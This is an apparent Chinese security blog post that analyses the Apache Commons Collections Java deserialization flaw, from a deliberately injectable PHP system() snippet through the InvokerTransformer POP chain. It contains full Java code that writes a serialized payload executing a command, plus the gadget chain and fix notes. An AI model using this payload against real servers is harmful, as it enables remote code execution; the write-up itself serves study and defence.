博客园很早就开通了,当时下决心要把自己的经验心得记录上去,但是却没有做到,因为一直觉得自己搞得东西可能还是比较的初级,感觉拿不出手,所以也就是只是把它记录在在印象笔记上面。三年下来,还是整理和收藏了一些笔记和心得,但也导致了一个问题,就是自己写起来就比较的随便,所以现在还是觉得要放到网上来,一来为了整理自己的思路,对自己这几年做的安全的一个总结和交代,二来也希望能帮助一些人少走些弯路。后续有时间把一些自认为还可以的心得体会整理并分享出来,而且发现整理以往的漏洞和笔记时候往往会有不一样的心得感悟。

最近研究了java、php和python三种语言反序列化导致的安全问题,觉得很比较有趣,遂整理一下思路。

其中python和php的构造和触发漏洞的方法相对比较简单,java的利用和构造稍微复杂,但也是通过研究java反序列化漏洞收获也更多,感觉java的反序列化漏洞非常的典型,从中可以理解pop链的完整构造过程。

首先,在解析pop链之前,先看这样一段php的代码,

 <?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("whoami".$dir);
echo "<pre>";
}
?>

比较命令的命令注入,我们可以通过分号或者|来进行命令拼接,导致命令注入,像这样:

最终执行了我们注入的ls命令,然后在现实的应用中基本上不会存在这么明显的漏洞,但原理基本都是一样,应用程序本意是接受用户的数据,却被别有用心的“用户”利用导致了命令执行,现实的应用复杂在可能需要通过多步骤构造最终形成命令执行,这个过程叫做POP链的构造,POP是面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了,用链这个词形容还是比较贴切的,就好比现实中的锁链,一换扣一环,缺一不可。那么我们就针对于java反序列化中的这种POP链的构造做一个说明。

首先,在了解这个漏洞之前你需要懂一些java的基本知识,比如java的反射调用(当需要使用JVM未事先加载的class对象的时,就需要java的动态语言特性--反射机制进行动态加载)序列化(将数据结构或对象转换成二进制串的过程)和反序列化(将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程,反序列化常用于java对象的网络传输以及对象状态需要持久化)以及apache common collections这个jar包的用途。文章可以参考这里:http://blog.csdn.net/ffm83/article/details/41865869。简单来说common collections就是java内置标准集合类collection的一个补充和扩展库,丰富了一些数据结构和功能。而且很多著名的应用都用到了这个扩展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS,所以就危害范围来讲还是比较严重的,危害程度也是直接命令执行,boom!

受影响的版本Apache Commons Collections <= 3.2.1,<= 4.0.0。

我这里下载了3.2.1版本,下载完成之后添加到自己的工程目录下,还要下载一个源码包,便于分析程序。

like this

Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:

Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer

如下图所示:

apache common collections jar包提供了一些实现Transformer接口的类。

本次的漏洞出现在这里InvokerTransformer这个类中,这个类不仅实现了Transformer接口,还实现了Serializable接口。

我们看一下它的Transform方法

这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量,也就是说这段反射代码中的调用的方法名和Class对象均可控(漏洞挖掘的过程,通常也就是先找到危险函数,然后回溯函数的调用过程,最终看在这个调用的过程中用户是否有可能控制输入)。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令

最终构造的payload大致是这样:

 package test;

 import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
//import java.util.Map;
import java.util.Map;
import java.util.Map.Entry;
import java.util.HashMap; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; public class Unserializ_map_payload {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open /Applications/Calculator.app"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar"); }
}

其中恶意构造的Transformer实例其实就是通过反射调用runtime类的exec方法来进行命令执行,执行的命令是打开mac下面的计算器。

当然,如何把这个漏洞应用到用户量巨多的web容器上呢,下一步,就是找应用程序的输入点,让我们能把我们的恶意代码交给服务器去运行,对,没错就是反序列化,一些应用可以反序列化处理用户的数据,在进行反序列化时,java会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。那么如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,那么我们攻击就完全可以自己控制了。
漏洞发现者于是在sun.reflect.annotation中找到了这个类:AnnotationInvocationHandler。该类的代码大致如下:

 class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
} Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一系列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

简直完美,不仅重写了readobject方法,还对类型为map的memberVaule进行了setVaule的操作。

于是乎 我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。

最终的payload大致是这样:

 package test;

 import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; public class Unserializ_payload {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open /Applications/Calculator.app"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); // Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
// onlyElement.setValue("foobar"); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("/Users/m0rk/Desktop/payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close(); } }

然后当某个应用程序去反序列化我们所生成的文件时候,就会根据我们构造POP链的过程进行步骤执行,最后实现我们的命令执行。

like this

然后呢,在WebLogic, WebSphere, JBoss, Jenkins, OpenNMS中会有做一些反序列化的处理,像是session处理、jenkins的cli通信都是用到了序列化,服务器会进行反序列化,那么这个时候就可以利用了。

执行链的过程如下:

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec() Requires:
commons-collections <= 3.2.1
*/

漏洞修复:

最新版本的apache common collections中的InvokerTransformer见这里https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/functors/InvokerTransformer.java

可以看到已经去掉了实现serialize接口,此外还在实现的Transformer方法中将类和方法声明为final类型(个人认为去掉了serialize的接口实现就可以堵掉这个漏洞了)。

反序列化漏洞的问题还是程序对不可信的数据进行了反序列化的操作,所以关于反序列化漏洞的修复可以通过设置允许进行反序列化类型的白名单来解决。

总结:这个POP执行链的构造还是比较的精巧,一环套一环,缺一不可。这里不得不佩服那些漏洞发现者,自己分析完这个漏洞也是收益良多。

参考:

1.https://security.tencent.com/index.php/blog/msg/97

2.https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

3.http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html

反序列化问题的研究之java篇的更多相关文章

  1. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  2. Java安全之反序列化回显研究

    Java安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马,继续来看看反序列化回显的方式.上篇文中其实是利用中间件中存储的Request 和Response对象来进行回显.但并不止这么 ...

  3. [转]有哪些值得关注的技术博客(Java篇)

    有哪些值得关注的技术博客(Java篇)   大部分程序员在自学的道路上不知道走了多少坑,这个视频那个网站搞得自己晕头转向.对我个人来说我平常在学习的过程中喜欢看一些教程式的博客.这些博客的特点: 1. ...

  4. JSON总结(java篇)

    JSON总结(java篇一) JSON简介 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式.它基于ECMAScript的一个子集. JSON采用完全独立于 ...

  5. 面试总结——Java篇

    前言:前期对Java基础的相关知识点进行了总结,具体参看:Java基础和面试知识点.近期由于笔者正在换工作(ing),因此下面将笔者在面试过程中或笔者朋友面试过程中反馈的题目进行总结,相信弄清楚下面题 ...

  6. 一个简单的通讯服务框架(大家发表意见一起研究)JAVA版本

    最近研究下java语言,根据一般使用的情况,写了个连接通讯服务的框架: 框架结构 C-Manager-S; 把所有通讯内容抽取成三个方法接口:GetData,SetData,带返还的Get; 所有数据 ...

  7. 事件驱动模型实例详解(Java篇)

    或许每个软件从业者都有从学习控制台应用程序到学习可视化编程的转变过程,控制台应用程序的优点在于可以方便的练习某个语言的语法和开发习惯(如.net和java),而可视化编程的学习又可以非常方便开发出各类 ...

  8. 管中窥豹——框架下的SQL注入 Java篇

    管中窥豹--框架下的SQL注入 Java篇 背景 SQL注入漏洞应该算是很有年代感的漏洞了,但是现在依然活跃在各大漏洞榜单中,究其原因还是数据和代码的问题. SQL 语句在DBMS系统中作为表达式被解 ...

  9. 最值得收藏的java技术博客(Java篇)

    第一个:java_my_life 作者介绍:找不到原作者信息.大概做了翻阅全部是2012年的博客. 博客主要内容:主要内容是关于Java设计模式的一些讲解和学习笔记,在相信对学习设计模式的同学帮助很大 ...

随机推荐

  1. 高性能Linux服务器构建实战笔记

    一.            web应用篇 1           HTTP服务器Nginx 1.1          性能上.功能上.安装上与Apache对比 l  性能上占用系统资源少,支持并发高 ...

  2. 偏移:translate ,旋转:rotate,缩放 scale,不知道什么东东:lineCap 实例

    <!DOCTYPE HTML> <head> <meta charset = "utf-8"> <title>canvas</ ...

  3. C# WinForm修改配置文件

    AppConfigPath 配置文件路径 ,注意 是exe运行的相对路径 private static string AppConfigPath = "WinListen.exe.confi ...

  4. ajax参数设置略解

    通过ajax可以直接由页面访问到服务器.做到不刷新页面,就能刷新数据,为开发带来很大的便利. 1.ajax方式的参数及其功能: $.ajax({ type : "POST", // ...

  5. 微软源代码管理工具TFS2013安装与使用详细图文教程(Vs2013)

    这篇文章联合软件小编主要介绍了微软源代码管理工具TFS2013安装与使用图文教程,本文详细的给出了TFS2013的安装配置过程.使用教程,需要的朋友可以参考下 最近公司新开发一个项目要用微软的TFS2 ...

  6. ORA-00600: internal error code, arguments: [LibraryCacheNotEmptyOnClose]

      案例环境: 操作系统版本: Red Hat Enterprise Linux ES release 4 数据库版本  : 10.2.0.4.0 32 bit 案例介绍: 今天我执行stop_ora ...

  7. RHEL 5.7 Yum配置本地源[Errno 2] No such file or directory

    在Red Hat Enterprise Linux Server release 5.7 上配置YUM本地源时,遇到了"Errno 5] OSError: [Errno 2] No such ...

  8. 在C#中该如何阻止虚方法的覆写

    在开发过程中,我们为了让一个类更有生命力,有时会用virtual来修饰一个方法好让子类来覆写它.但是如果有更新的子子类来覆写时,我们又不想让其影响到上一层的覆写,这时候就要用到new virtual来 ...

  9. Struts2核心技术简介

    Struts2核心技术简介 使用Struts2框架,只要注重以下三大元素:配置文件.映射文件和Action: 全局属性文件struts.properties:保存系统运行的一些参数变量,整个系统只有一 ...

  10. 使用Office 365抓取PM2.5数据

    近日微软发布了Microsoft Flow,一个类似IFTTT自动化任务触发工具.例如,我们可以设置这样一个触发事件和对应的处理过程:当有人在微博上@我的时候,发一封邮件通知我:当我关注的博主有新文章 ...